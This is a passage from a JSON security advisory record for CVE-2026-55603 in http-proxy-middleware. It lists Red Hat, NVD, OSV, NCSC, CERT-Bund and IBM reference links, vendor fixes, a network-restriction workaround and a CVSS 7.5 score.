"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-55603" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:42085.json" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:50300.json" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-55603" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-55603" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-gcq2-9pq2-cxqm.json?alt=media" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0431" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-gcq2-9pq2-cxqm" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-55603" }, { "category": "external", "summary": "Reference - redhat", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491525" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-55603" }, { "category": "external", "summary": "Reference - osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55603" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/errata/RHSA-2026:42085" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42211" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42342" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44486" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44487" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44488" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44492" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44494" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44496" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/updates/classification/" }, { "category": "external", "summary": "Reference - redhat", "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42085.json" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/errata/RHSA-2026:50300" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-12143" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-13149" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-25681" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-26996" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-27136" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-27904" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-33811" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-39820" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-39821" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-40895" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42039" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42041" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42044" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42264" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42499" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-42504" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-44495" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-4926" }, { "category": "external", "summary": "Reference - redhat", "url": "https://developers.redhat.com/products/mta/overview" }, { "category": "external", "summary": "Reference - redhat", "url": "https://docs.redhat.com/en/documentation/migration_toolkit_for_applications/" }, { "category": "external", "summary": "Reference - redhat", "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50300.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3623" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289775" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289776" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289778" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289779" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289780" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289783" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289785" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289788" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289789" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289790" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289792" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289794" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289795" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289796" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289797" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289798" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289800" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289787" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289791" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55603.json" } ], "remediations": [ { "category": "vendor_fix", "details": "Red Hat Trusted Artifact Signer simplifies cryptographic signing and verifying of software artifacts such as container images, binaries and source code changes. It is a self-managed on-premise deployment of the Sigstore project available at https://sigstore.dev\n\nPlatform Engineers, Software Developers and Security Professionals may use RHTAS to ensure the integrity, transparency and assurance of their organization's software supply chain.\n\nFor details on using the operator, refer to the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3\n\nYou can find the release notes for this version of Red Hat Trusted Artifact Signer at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index", "product_ids": [ "CSAFPID-5205178", "CSAFPID-8871079" ], "restart_required": { "category": "none" }, "url": "https://access.redhat.com/errata/RHSA-2026:42085" }, { "category": "workaround", "details": "Restrict network access to MLflow services. Do not pass untrusted user input into proxy target or header configuration. Upgrade http-proxy-middleware when updated packages are available.", "product_ids": [ "CSAFPID-5205178", "CSAFPID-8871079", "CSAFPID-8871080", "CSAFPID-8939772", "CSAFPID-8939773", "CSAFPID-8939774", "CSAFPID-8939775", "CSAFPID-8939776", "CSAFPID-8939777", "CSAFPID-8939778", "CSAFPID-8939779", "CSAFPID-8939780", "CSAFPID-8939781", "CSAFPID-8939782", "CSAFPID-8939783", "CSAFPID-8939784" ] }, { "category": "vendor_fix", "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.", "product_ids": [ "CSAFPID-8939772", "CSAFPID-8939773" ], "restart_required": { "category": "none" }, "url": "https://access.redhat.com/errata/RHSA-2026:50300" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-3777973", "CSAFPID-8477988", "CSAFPID-8477989", "CSAFPID-8785104", "CSAFPID-8785105", "CSAFPID-8785106", "CSAFPID-8785107", "CSAFPID-8785108", "CSAFPID-8785109", "CSAFPID-8785110", "CSAFPID-9485661", "CSAFPID-9485662", "CSAFPID-9485663" ] } ], "title": "CVE-2026-55603" } ] }